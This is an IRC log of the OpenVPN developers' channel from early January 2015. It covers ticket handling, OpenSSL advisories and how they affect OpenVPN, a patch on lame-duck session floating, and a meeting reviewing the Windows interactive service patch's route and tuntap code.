openvpn will immediately fail with this error if it doesn't fit 11:05 <@cron2> ack 11:07 -!- mattock is now known as mattock_afk 11:10 <@syzzer> do you prefer a v3, or will you change it on the fly? 11:21 <@syzzer> patch on the list 11:21 <@syzzer> now away for dinner! 13:28 <@vpnHelper> RSS Update - gitrepo: openssl: use crypto_msg(), get rid of openssl-specific code in error.c <https://github.com/OpenVPN/openvpn/commit/98ea2ec5d8085a6b7bd4ac125a68bd4d5cf3e092> 16:28 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 16:28 -!- mode/#openvpn-devel [+o mattock] by ChanServ 16:34 -!- Netsplit *.net <-> *.split quits: @mattock_afk, +krzee 16:51 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 16:51 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Thu Jan 01 2015 01:53 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has quit [Remote host closed the connection] 08:20 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has joined #openvpn-devel 11:51 <@vpnHelper> RSS Update - tickets: #497: OpenVPN 2.3.6 crashes with Bus error on Linux/SPARC shortly after startup <https://community.openvpn.net/openvpn/ticket/497> 11:55 <@cron2> mattock: uh. Something is weird with that ticket, it refuses to display for me 15:42 <@mattock> cron2: probably a parsing error in the description 15:43 <@mattock> yeah 15:43 <@mattock> I'll look into it 15:58 <@cron2> (besides the fact that I wonder what would be so special about Linux/Sparc - I know that OpenVPN works nicely on FreeBSD/Sparc64, which is about as exotic as you can get, regarding word size, alignment, etc) 16:07 -!- mattock is now known as mattock_afk 16:07 -!- roentgen [~none@openvpn/community/support/roentgen] has quit [Ping timeout: 250 seconds] 16:07 -!- roentgen [~none@openvpn/community/support/roentgen] has joined #openvpn-devel 16:08 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 21:54 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood] 21:55 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 21:55 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Fri Jan 02 2015 01:44 -!- mattock_afk is now known as mattock 04:59 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 04:59 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 04:59 -!- dazo_afk is now known as dazo 05:30 -!- dazo is now known as dazo_afk 05:49 -!- dazo_afk is now known as dazo 05:52 <@cron2> dazo: good morning and a happy new year! 05:52 <@dazo> cron2: happy new year to you too! 07:15 <@mattock> happy new year everyone! 07:41 <@syzzer> yes, happy new year! 07:42 <@syzzer> and welcome back dazo :) 14:35 <@vpnHelper> RSS Update - tickets: #498: Support dynamic IPv6 prefixes in server config rather than hardcoded prefixes. <https://community.openvpn.net/openvpn/ticket/498> 14:57 <@cron2> mattock: did you have a chance to look at #497? 14:58 <@mattock> cron2: nope, that slipped my mind, but I can check it now 14:58 <@mattock> actually, next monday 14:58 <@mattock> my Windows VM is running updates (174 of them) and my laptop is way too slow for any real work 14:59 <@mattock> I'm pretty sure the problem is that description has some tags which the Trac template parser can't parse 14:59 <@cron2> haha, windows :-) - I installed a few win7 machines this year, and "install win7 and all needed applications" was something like 1 hour, and then 2.5 hours for "updates!" 15:00 <@mattock> yeah 15:00 <@mattock> I've been testing chocolatey: https://chocolatey.org/ 15:00 <@vpnHelper> Title: Chocolatey Gallery (at chocolatey.org) 15:00 <@mattock> primarily because it integrates with puppet 15:01 <@mattock> but it's very useful as a standalone app also 15:01 <@mattock> installing (free) apps is way easier than when clicking through next next next next finish manually 15:01 <@mattock> seems to work ok 15:02 * cron2 uses wpkg.org 15:02 <@cron2> bootstrapping is slightly annoying, but after that, mass-rollout of windows software / mass-updates is really relaxing 15:03 <@mattock> hmm, relaxing? :P 15:03 <@mattock> do you know of any SSH server kind of thing with which one could connect to Windows without using the GUI? 15:03 <@mattock> to powershell prompt or such 15:04 <@cron2> cygwin has a sshd 15:04 <@mattock> yeah, that's one option 15:04 <@cron2> (but I've never used that in earnest) 15:04 <@mattock> I'll look into it, because going to the GUI to type commands is just silly 15:06 <@cron2> this is why wpkg :) - at bootup, the client fetches a profile.xml and hosts.xml from the server, decides "oh, I'm supposed to install firefox", fetches packages/firefox.xml and runs whatever command is specified in there 15:06 <@cron2> so you edit the xml files on the server, and never touch the client again 15:07 <@cron2> = very relaxing :-) 15:50 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has quit [Quit: ZNC - http://znc.in] 16:00 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has joined #openvpn-devel 17:35 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Remote host closed the connection] 17:36 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 18:02 -!- dazo is now known as dazo_afk --- Day changed Sat Jan 03 2015 02:56 <@mattock> cron2: ah, I see :) 02:57 <@mattock> the windows 7 VM update is still holding my laptop hostage, after ~12 hours 02:57 <@mattock> incredible 03:37 <@syzzer> cygwin + sshd works good for the windows tests I run 03:37 <@syzzer> and that gives me bash, I don't have to learn powershell ;) 07:38 <@cron2> mattock: you need more RAM 07:38 <@mattock> well, the windows VM hogs whatever RAM I give it 07:39 <@cron2> give the VM something like ~1G, give the laptop 4G or more, so it can nicely disk-cache whatever the VM does - oh, and a SSD for the laptop :) 07:39 <@mattock> actually, it could use a bit more, only 1GB 07:39 <@cron2> this is what I did to my 4year old cheap Acer, SSD and 8G RAM, and now all that VM stuff is really nice 07:39 <@mattock> I will probably have to go for an SSD... the hard disk is so slow 07:40 <@mattock> I have 4 gigs on my laptop, so (temporarily) giving the Windows VM 2 gigs is fine I think 07:41 <@cron2> well, unless the actual working set inside the VM needs more than 1G, it's more effective to give Linux more RAM for caching (as Linux' disk cache is better than windows') 07:42 <@mattock> I'll see if giving it 2 gigs helps or makes things worse 10:25 -!- raidz_away [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 250 seconds] 10:28 -!- mattock is now known as mattock_afk 10:29 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 10:30 -!- mode/#openvpn-devel [+o raidz] by ChanServ 13:11 <@vpnHelper> RSS Update - tickets: #499: چطورکارمیکنه؟ <https://community.openvpn.net/openvpn/ticket/499> --- Day changed Sun Jan 04 2015 05:37 <@plaisthos> !git 05:37 <@vpnHelper> "git" is (#1) For the stable git tree: git clone git://git.code.sf.net/p/openvpn/openvpn or (#2) For the development git tree: git://git.code.sf.net/p/openvpn/openvpn-testing or (#3) Browse the git repositories here: http://sourceforge.net/p/openvpn/openvpn-testing/ci/master/tree/ or (#4) See !git-doc how to use git or (#5) git troubles? http://justinhileman.info/article/git-pretty/git-pretty.png 05:37 <@vpnHelper> or (#6) for the windows TUN/TAP driver repo, look at !tapdrvr 06:59 <@cron2> what is "kRSA"? 07:01 <@vpnHelper> RSS Update - gitrepo: Add option to disable Diffie Hellman key exchange by setting '--dh none' <https://github.com/OpenVPN/openvpn/commit/bd9aa06feb41838689ed01f79845bc765f887ae3> 09:58 <@plaisthos> I finally got the timers 09:58 <@plaisthos> turns out timer are much simplier than I though. Somehow I had the idea that timers were dynamic and you can add/remove timers dynamically 09:59 <@plaisthos> and kept thinking, this cannot work, there is a callback function missing 11:07 <@plaisthos> Sun Jan 4 18:07:09 2015 Opened utun device utun0 11:07 <@plaisthos> Sun Jan 4 18:07:09 2015 do_ifconfig, tt->ipv6=0, tt->did_ifconfig_ipv6_setup=0 11:07 <@plaisthos> Sun Jan 4 18:07:09 2015 /sbin/ifconfig utun0 delete 11:07 <@plaisthos> ifconfig: ioctl (SIOCDIFADDR): Can't assign requested address 11:07 <@plaisthos> Sun Jan 4 18:07:09 2015 NOTE: Tried to delete pre-existing tun/tap instance -- No Problem if failure 11:07 <@plaisthos> Sun Jan 4 18:07:09 2015 /sbin/ifconfig utun0 192.168.177.23 192.168.177.23 netmask 255.255.255.0 mtu 1500 up 11:08 <@plaisthos> .oO(And I just wanted to do something else ... 11:52 <@cron2> yeah, just spend a few hours debugging a most weird spanning-tree problem... 11:52 <@cron2> :-) 11:52 <@cron2> "I wanted to just do a few quick upgrades" 11:53 <@cron2> plaisthos: if you find time, let us know how timers work :-)) 11:53 <@cron2> (just need to feed the kids first, and get them to bed) 11:54 <@plaisthos> hm 11:54 <@plaisthos> ifconfig is weired 11:54 <@plaisthos> it sets the address and then return 5 12:02 <@pekster> Don't suppose you can rely on `ip` being present on all supported Android versions? From working with openwrt, I can confirm that the busybox applet support for ip also works for address/route/rule settings 12:03 <@pekster> I've got an older 2.3.7 android that has it, although I'm running CM7 which is quite a bit more "hacker friendly" :P 12:08 <@plaisthos> pekster: that is os x stuff 12:08 <@plaisthos> pekster: openvpn for android calls obscure java apis :) 12:09 <@pekster> Ah, I should have guessed :D 12:11 <@plaisthos> the utun0 gives it away ;) --- Day changed Mon Jan 05 2015 02:00 -!- mattock_afk is now known as mattock 02:29 <@syzzer> cron2: I case you're still wonderingm kRSA is 'RSA key exchange', which is a class of key exchange openssl can fall back to. (And I looked into it, there is no more robust way of disabling it than 'kRSA') 02:33 <@cron2> syzzer: I guessed something like that (from the context) but admittedly have a bit vague knowledge on the exact sequence of things how a TLS handshake leads to a symmetric session key... 02:33 <@cron2> (I do think I understand DH :) but not the grand scheme of things) 04:13 -!- dazo_afk is now known as dazo 12:13 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 265 seconds] 12:13 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 265 seconds] 12:21 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 12:22 -!- mode/#openvpn-devel [+o pekster] by ChanServ 12:22 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Remote host closed the connection] 12:22 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 12:22 -!- mode/#openvpn-devel [+o dazo] by ChanServ 12:26 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 12:27 -!- mode/#openvpn-devel [+o pekster] by ChanServ 12:50 -!- CivisUS [~CivisUS@208.80.0.1] has joined #openvpn-devel 13:36 -!- CivisUS [~CivisUS@208.80.0.1] has quit [Ping timeout: 256 seconds] 15:10 -!- dazo is now known as dazo_afk 15:39 -!- mattock is now known as mattock_afk --- Day changed Tue Jan 06 2015 01:31 -!- mattock_afk is now known as mattock 02:36 <@mattock> cron2: https://community.openvpn.net/openvpn/ticket/497 02:36 <@vpnHelper> Title: #497 (OpenVPN 2.3.6 crashes with Bus error on Linux/SPARC shortly after startup) – OpenVPN Community (at community.openvpn.net) 04:47 <@cron2> mattock: thanks 04:47 <@mattock> np 04:48 <@mattock> I suspect gdb backtraces make Trac's parser to barf 04:54 <@cron2> interesting ticket in any case 06:11 -!- dazo_afk is now known as dazo 08:23 -!- esde [~esde@unaffiliated/esde] has joined #openvpn-devel 08:59 -!- dazo is now known as dazo_afk 09:00 -!- dazo_afk is now known as dazo 09:03 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 245 seconds] 09:06 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 11:11 -!- dazo is now known as dazo_afk 17:07 -!- mattock is now known as mattock_afk --- Log closed Tue Jan 06 17:20:54 2015 --- Log opened Tue Jan 06 21:00:46 2015 21:00 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 21:00 -!- Irssi: #openvpn-devel: Total of 21 nicks [9 ops, 0 halfops, 3 voices, 9 normal] 21:00 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 21:00 -!- Irssi: Join to #openvpn-devel was synced in 7 secs 21:56 -!- novaflash is now known as novaflash_away 22:21 -!- novaflash_away is now known as novaflash --- Day changed Wed Jan 07 2015 01:11 -!- mattock_afk is now known as mattock 03:29 <@cron2> whee 03:29 <@cron2> James is back \o/ 03:32 <@cron2> something to read and digest on the -devel list... 05:27 -!- dazo_afk is now known as dazo 05:36 < lev__> hm, thanks to that mail I noticed that LAME_DUCK session may float to an address which is already taken https://github.com/OpenVPN/openvpn/blob/master/src/openvpn/multi.c#L2137 05:36 <@vpnHelper> Title: openvpn/multi.c at master · OpenVPN/openvpn · GitHub (at github.com) 05:37 < lev__> if statement is missing "or !cn", which will prevent lame_duck float 05:48 <@cron2> lev__: so we'll see a patch from you? :) 05:57 < lev__> yep. Actually I am thinking of using cert_hash_compare instead of CN comparison. With that lame_duck will also be able float to an address taken by the same client. 05:57 < lev__> CN is null for lame_duck 06:29 < lev__> cron2: looks good? https://github.com/stipa/openvpn/commit/cbbd79bc61929177ff790ba7b7e86c7a8b6ae2b0 06:29 <@vpnHelper> Title: Disallow lameducks float to an address taken by another client · cbbd79b · stipa/openvpn · GitHub (at github.com) 07:15 <@cron2> lev__: I let syzzer look at that :) 08:00 < lev__> ok, I'll send to -devel after that 10:00 <@syzzer> lev__: can't really look into it right now, but looks good at first sight! 13:02 <@cron2> syzzer: have you seen James' mail? The AEAD bits are for you to review :) 14:05 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Quit: brb] 14:07 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 14:07 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 15:25 -!- mattock is now known as mattock_afk 15:35 < esde> testing a vpnHelper trigger 15:36 < esde> !interface 15:36 <@vpnHelper> "interface" is (#1) paste interface configuration from both client and server, while being disconnected and when beeing connected. Be sure to also add the routing tables for both situations from client and from server or (#2) in windows: ipconfig /all - unix: ifconfig -a , and for routing tables: netstat -rn 16:10 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has quit [Remote host closed the connection] 16:27 -!- dazo is now known as dazo_afk 17:40 <@syzzer> cron2: I flagged it, will look into it soon :) --- Day changed Thu Jan 08 2015 01:47 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has joined #openvpn-devel 05:15 -!- dazo_afk is now known as dazo 08:36 -!- mattock_afk is now known as mattock 09:49 <@syzzer> whee, more openssl bugs: http://openssl.org/news/secadv_20141015.txt 09:51 <@cron2> annoyance 09:51 <@syzzer> but only one of them, a memory leak, affects openvpn 09:51 <@syzzer> so mattock can lean back, no need for emergency releases ;) 09:52 <@mattock> most great news for me! :P 09:52 <@cron2> that's old anyway, october 15 09:52 <@syzzer> oh, damn :/ 09:53 <@syzzer> they did not update their site yet. currently listing to an openssl dev talk at a conference that just announced a new version has been released 5 mins ago 09:53 <@cron2> oh 09:53 <@syzzer> so I just opened up the most recent security advisory. so, mattock, sit tight ;) 09:54 <@mattock> um 09:54 <@mattock> I see trouble ahead 09:54 <@cron2> now *why* did I spend quite a bit time today to update openssl installations to 1.0.1j at $customersite? 09:54 <@mattock> cron2: because you love doing that for no good reason? :P 09:58 <@syzzer> nope, I don't see anything pressing in the changelog 10:00 <@syzzer> ah, the secadv is online now: http://openssl.org/news/secadv_20150108.txt 10:06 <@cron2> anything relevant for us? 10:32 <@syzzer> not really. this one possibly, for really exotic certificates: DH client certificates accepted without verification [Server] (CVE-2015-0205) 10:33 <@syzzer> is someone used certificates based on DH instead of RSA or ECDSA 10:34 <@syzzer> I don't see any reason for extra releases 10:34 <@syzzer> (and, I have to go now, final talk just ended, need to drink beer and socialise) 10:39 <@mattock> syzzer: have fun! 10:47 <@cron2> syzzer: have fun and lots of ber :) 15:23 -!- mattock is now known as mattock_afk 17:29 <@dazo> "RSA silently downgrades to EXPORT_RSA", "ECDHE silently downgrades to ECDH [Client] (CVE-2014-3572)" ... Severity: Low ... wtf!?!? 17:30 <@dazo> isn't that the kind of attacks NSA would love to mount? 17:35 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 244 seconds] 17:36 < esde> maybe the person marking severity s not so apt 17:36 < esde> *is 17:38 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 17:38 -!- mode/#openvpn-devel [+o mattock] by ChanServ 17:49 <@syzzer> dazo: if i understand correctly, for both the adversary needs to have some control over the server 17:49 <@syzzer> so that requires an already very powerful attacker, making this impact low 17:49 <@dazo> syzzer: ahh, true 17:49 <@syzzer> (and, ECDH should really still be far out of reach for the NSA to break) 17:49 <@dazo> lets hope so :) 17:50 <@syzzer> if not, we're screwed anyway.. 17:51 <@dazo> if there's no possibilities to do side channel downgrade attacks, then it's fairly fine ... I feared it would be possible to modify/inject packets over the wire triggering a downgrade, which would be really bad 20:33 -!- dazo is now known as dazo_afk --- Day changed Fri Jan 09 2015 03:01 -!- d12fk [~heiko@s15438066.onlinehome-server.info] has joined #openvpn-devel 03:01 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 04:15 -!- dazo_afk is now known as dazo 07:44 <+krzee> no nist curves! 08:01 < lev__> shinrich: ping 08:01 < lev__> wrong window :/ 09:36 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 09:43 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 265 seconds] 10:19 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 12:42 <@mattock> guys: meeting next monday? 12:45 <@cron2> plan 14:14 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 245 seconds] 14:15 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 14:15 -!- mode/#openvpn-devel [+o raidz] by ChanServ 15:34 -!- dazo is now known as dazo_afk 15:38 <@syzzer> mattock: works for me! 17:13 -!- mattock is now known as mattock_afk 18:35 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 244 seconds] 22:27 -!- ampsix [uid26275@gateway/web/irccloud.com/x-dyxiyxsgndexsnur] has joined #openvpn-devel 23:43 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel --- Day changed Sat Jan 10 2015 00:08 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 245 seconds] 00:12 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has quit [Quit: ZNC - http://znc.in] 00:27 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 03:46 -!- mattock_afk is now known as mattock 04:43 -!- ampsix [uid26275@gateway/web/irccloud.com/x-dyxiyxsgndexsnur] has quit [Quit: Connection closed for inactivity] 08:58 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has joined #openvpn-devel 10:37 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 264 seconds] 10:43 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 10:43 -!- mode/#openvpn-devel [+o raidz] by ChanServ 14:58 -!- mattock is now known as mattock_afk 16:46 -!- harshar [~harsh@202.3.77.215] has quit [Quit: Leaving] 19:52 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Remote host closed the connection] 19:53 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 23:20 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel --- Day changed Sun Jan 11 2015 03:59 -!- mattock_afk is now known as mattock 08:51 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 264 seconds] 09:36 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 13:30 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 244 seconds] 15:10 -!- mattock is now known as mattock_afk --- Day changed Mon Jan 12 2015 00:40 -!- roentgen [~none@openvpn/community/support/roentgen] has quit [Remote host closed the connection] 00:43 -!- roentgen [~none@openvpn/community/support/roentgen] has joined #openvpn-devel 00:43 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 01:32 -!- mattock_afk is now known as mattock 02:57 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 03:17 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 245 seconds] 04:23 <@mattock> if anyone responded to my question ("meeting on monday?") I probably missed it 04:23 <@mattock> let me know if you want one arranged and I'll prepare it after lunch 04:48 * cron2 said "plan" and iirc syzzer said "have time" 04:48 <@cron2> but I don't have any topics 05:29 <@syzzer> progress on the osx keychain perhaps? 05:30 <@syzzer> and the other big thing that needs attention is the interactive service review 05:44 <@mattock> yeah, interactive service 05:44 <@mattock> d12fk responded to my email last week, so he's alive at least :) 05:47 <@d12fk> yes, still breathing =) 05:52 <@mattock> hi! 05:52 <@mattock> d12fk: shall we discuss and review your interactive service patch today? 05:52 <@mattock> as in: will you be there, if we arrange a meeting? 05:55 <@d12fk> mattock: depends on the time 05:55 <@d12fk> i'm blocked until 18:30h CET 05:58 <@mattock> I believe the time is 20:00 CET 05:58 <@mattock> meeting time 05:59 <@d12fk> that should work unless my son insists on me reading him into sleep again =) 05:59 <@d12fk> i'll be around 06:00 <@mattock> ok 06:00 <@d12fk> did anyone take a look at the code already? 06:00 <@mattock> I believe syzzer took a quick peek, but afaik nobody has really looked into it 06:01 <@d12fk> maybe a little reading up front would help getting started 06:01 <@mattock> yeah, I agree 06:01 <@mattock> syzzer, cron2: we have d12fk onboard - is meeting today at 20:00 CET ok for you guys? 06:10 <@mattock> topic page here: https://community.openvpn.net/openvpn/wiki/Topics-2015-01-12 06:10 <@vpnHelper> Title: Topics-2015-01-12 – OpenVPN Community (at community.openvpn.net) 06:11 <@mattock> I will announce the meeting once I get a few "I'll be there"'s :) 06:22 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 06:28 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 06:42 <@cron2> mattock: in that case, yes :) 06:56 <@plaisthos> I just realized again that I hate OPenSSL APIs 07:19 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has quit [Quit: IRC for Sailfish 0.8] 07:23 <@mattock> invitation sent 08:06 <@cron2> mattock: is the SettingUpBuildslave page still correct? 08:07 <@mattock> should be 08:07 <@cron2> I have to repair one of mine, and "easy_install buildbot==0.8.5" fails 08:07 <@cron2> ah 08:07 <@cron2> that seems to be a certificate error on https://pypi.python.org/... *search option to disable that* 08:21 <@cron2> aaaargh. *freebsd hate* 08:22 * cron2 upgraded, and the binpkg is build without --enable-auth-file or whatever it was called before we got rid of it 08:24 <@cron2> --enable-password-save, and we actually still did not get rid of it, wtf 08:24 <@cron2> plaisthos, syzzer: didn't one of you send a patch for it? or plan to? 08:32 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 265 seconds] 08:34 <@plaisthos> cron2: I was completely confused of the discussion at the end 08:34 <@plaisthos> and did not know what the final result was 08:34 <@plaisthos> but was krzee the initial submitter? 09:49 -!- trispace [~trispace@unaffiliated/trispace] has joined #openvpn-devel 10:15 <@cron2> I think the result of the discussion was "our configure --help output is confusing, *and* we do want to get rid of it anyway, patch welcome" :) 11:46 -!- trispace [~trispace@unaffiliated/trispace] has quit [Ping timeout: 264 seconds] 11:51 <@vpnHelper> RSS Update - tickets: #501: environment variables don't pass to windows up script <https://community.openvpn.net/openvpn/ticket/501> || #500: forced invalid path in windows <https://community.openvpn.net/openvpn/ticket/500> 11:58 -!- trispace [~trispace@unaffiliated/trispace] has joined #openvpn-devel 12:41 -!- segoon [~vasya@ppp83-237-12-200.pppoe.mtu-net.ru] has joined #openvpn-devel 12:44 -!- trispace [~trispace@unaffiliated/trispace] has quit [Ping timeout: 264 seconds] 13:00 <@mattock> meeting time 13:01 <@d12fk> yes 13:01 <@mattock> who do we have here today? 13:02 <@cron2> moh 13:02 <@mattock> hi! 13:03 <@syzzer> hi :) 13:04 <@d12fk> hey all 13:04 <@d12fk> here's the commit 13:04 <@d12fk> http://sourceforge.net/p/openvpn-gui/openvpn/ci/8195efc0d8841b52217643a43d486cda2e171fea/ 13:04 <@mattock> hi guys! 13:04 <@vpnHelper> Title: OpenVPN GUI / OpenVPN / Commit [8195ef] (at sourceforge.net) 13:04 <@syzzer> anything changed since you sent it to the ml? 13:05 <@d12fk> nope 13:06 <@cron2> is plaisthos here? 13:07 <@plaisthos> yes 13:08 <@cron2> I'm looking at "add_route" for android, and I see 13:08 <@cron2> management_android_control (management, "ROUTE", buf_bptr(&out)); 13:08 <@cron2> is "management" a global variable? 13:09 <@plaisthos> yes 13:09 <@cron2> so that's how you managed to do that without carrying an extra "options" variable... 13:09 <@plaisthos> :) 13:10 <@plaisthos> there are other instances in the code that use this global variable 13:10 <@plaisthos> iirc the proxy-query stuff does it too 13:12 <@cron2> d12fk: I'm not really happy with the "route_ipv6_clear_host_bits()" change - add_route_ipv6() should not overwrite data passed to it 13:13 <@cron2> (and I'm not really happy with all the extra "const struct options *o", but whether introducing a new global is *better*...? phew...) 13:14 <@syzzer> ^^ yes, that was partly my reaction too, see (1) from my 'preliminary review' mail 13:15 <@d12fk> i did not change the semantics of route_ipv6_clear_host_bits iirc 13:16 <@cron2> d12fk: well, you introduced that function :) 13:16 <@d12fk> o_O 13:16 <@cron2> my function was called "route_ipv6_print_network_bits()" 13:16 <@d12fk> all too long ago is seems, checking 13:17 <@cron2> but I see why you wanted that - I only had to deal with ASCII "netbits", not with a cleared binary representation 13:20 * cron2 wonders 13:20 <@cron2> add_route() (etc.) carries a "flag" parameter today that is used to encode ROUTE_OPTION_FLAGS (options) 13:22 <@d12fk> ok checked and will only modify a copy 13:22 * d12fk takes note 13:22 <@cron2> we cheat in tun.c and do not pass it on non-windows platforms (all others do not have it) 13:24 <@cron2> only bits 0+1 of "flags" are ever used (flags & ROUTE_METHOD_MASK). But then, overloading this with the message channel isn't *exactly* clean either... 13:25 <@cron2> uh... is_on_link() checks "flags & ROUTE_REF_GW" but I have the suspicion that this wants to be rgi->flags 13:26 <@cron2> argh 13:26 <@cron2> no 13:26 <@cron2> my head spins 13:26 <@cron2> add_bypass_routes() calls add_route3( ..., flags | ROUTE_REF_GW, ...) 13:29 <@plaisthos> :) 13:29 <@plaisthos> that bypass_route is really head spinning stuff 13:30 <@d12fk> wonder why i changed the function in the first place 13:30 <@cron2> d12fk: so you can get rid of it in delete_ipv6_route(), I'd say, because that now nicely has a clean binary structure :) 13:31 <@cron2> plaisthos: can you explain ROUTE_DELETE_FIRST to me? 13:34 * syzzer is fighting virtualbox to get my windows vm started... 13:36 <@plaisthos> cron2: yes 13:36 <@plaisthos> it is a hack instead of def1 13:36 <@plaisthos> you first delete the old default route and then add a new default route 13:36 <@plaisthos> for example 13:37 <@cron2> plaisthos: that is the theory, but the only place ROUTE_DELETE_FIRST is ever used is in add_routes()/delete_routes(), and if it is set, it is used for *all* routes - and as far as I can see, nobody ever *sets* it... 13:38 <@plaisthos> cron2: yeah 13:38 <@cron2> add_routes() only 13:38 <@plaisthos> probably old/dead code 13:38 <@cron2> lemme check something... 13:40 <@cron2> definitely not a merge accident, it's like that in james' svn... 13:41 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 252 seconds] 13:46 <@cron2> there is an amazing number of /* GLOBAL */ comments in our code 13:47 -!- trispace [~trispace@unaffiliated/trispace] has joined #openvpn-devel 13:47 * cron2 throws "what about 'static HANDLE msg_pipe; /* GLOBAL */' in win32.c in the discussion 13:47 <@cron2> just trying the waters 13:48 <@d12fk> global vars considered lazy 13:48 <@plaisthos> (windows something, no idea ;)) 13:48 <@cron2> indeed, but "passing everything around everywhere" is not exactly pretty either 13:50 <@cron2> (especially as this is something only a single platform uses today. Now, OTOH, we might see more use of that on other platforms...) 13:53 <@syzzer> yeah, this is tricky... 13:57 <@syzzer> finally, VM booting 13:57 <@syzzer> my first thought was to put it in struct tuntap 13:58 <@plaisthos> I already put is_utun as member on osx only in there 13:59 <@cron2> hacky :-) but also less intrusive, and available everyhwere 13:59 <@cron2> otoh quite in line with what is there today... 13:59 <@cron2> struct tuntap_options { /* --ip-win32 options */ bool ip_win32_defined; 14:00 <@syzzer> yes, it is not very pretty either, but 'struct tuntap' is basically the network stuff context anyway 14:00 <@cron2> oh, this is so brilliant actually :-) - tuntap_options is fully inside #if defined(WIN32), and all other platforms have a MUCH simpler variant 14:01 <@cron2> (tun.h) 14:03 <@d12fk> || android ... 14:03 <@d12fk> strange 14:04 * cron2 leaves that to plaisthos, but I think the underlying reason might be similar - lots of pushed dhcp-* etc. options work on android as well 14:04 <@cron2> ah, specifically, the pushed dhcp-option stuff, which is stored in there 14:04 <@plaisthos> d12fk: well, only windows parses the dhcp-options 14:04 <@cron2> #if defined(WIN32) || defined(TARGET_ANDROID) else if (streq (p[0], "dhcp-option") && p[1]) 14:05 <@plaisthos> all other platforms relay on script and env stuff and parse the options in the script 14:06 <@plaisthos> On Android I let OpenVPN parse that stuff and let OpenVPN decide on dns server 14:06 <@plaisthos> just like on Windows 14:07 <@d12fk> ah ok 14:08 <@plaisthos> windows and android are simmilar in the regard that some strange alien thing (tap driver/android gui) configure the network :) 14:09 <@d12fk> the HANDLE could be ifdef'd WIN32 in there again 14:09 <@d12fk> syzzer: where's that mail you were talking about 14:10 <@d12fk> must have missed it 14:12 <@syzzer> it's from 14 dec 14:13 <@syzzer> http://thread.gmane.org/gmane.network.openvpn.devel/9237 14:13 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 14:14 <@cron2> that mail was actually a bit cryptic IIRC :) 14:16 <@cron2> (and does not mention the tuntap idea) 14:16 <@syzzer> yeah, I tend to do that... but that one wasn't that bad, was it? 14:16 <@syzzer> no, I think I thought of that later on 14:17 * cron2 is absolutely thrilled by that idea - it will perfectly well transport the handle *and* avoids global *and* is quite in line with what we currently have :-) 14:19 <@d12fk> ok i'll change the code accordingly 14:20 <@mattock> how far into the patch are we now? 14:21 <@cron2> mattock: we covered the bits that affect "common" code 14:21 <@mattock> ah, nice! 14:21 <@cron2> we didn't touch the actual windows specific bits at all yet :) 14:21 <@mattock> ok :) 14:21 <@mattock> just wondering if we should not even try to review all of it today, the patch is pretty huge 14:21 <@mattock> we = you :) 14:22 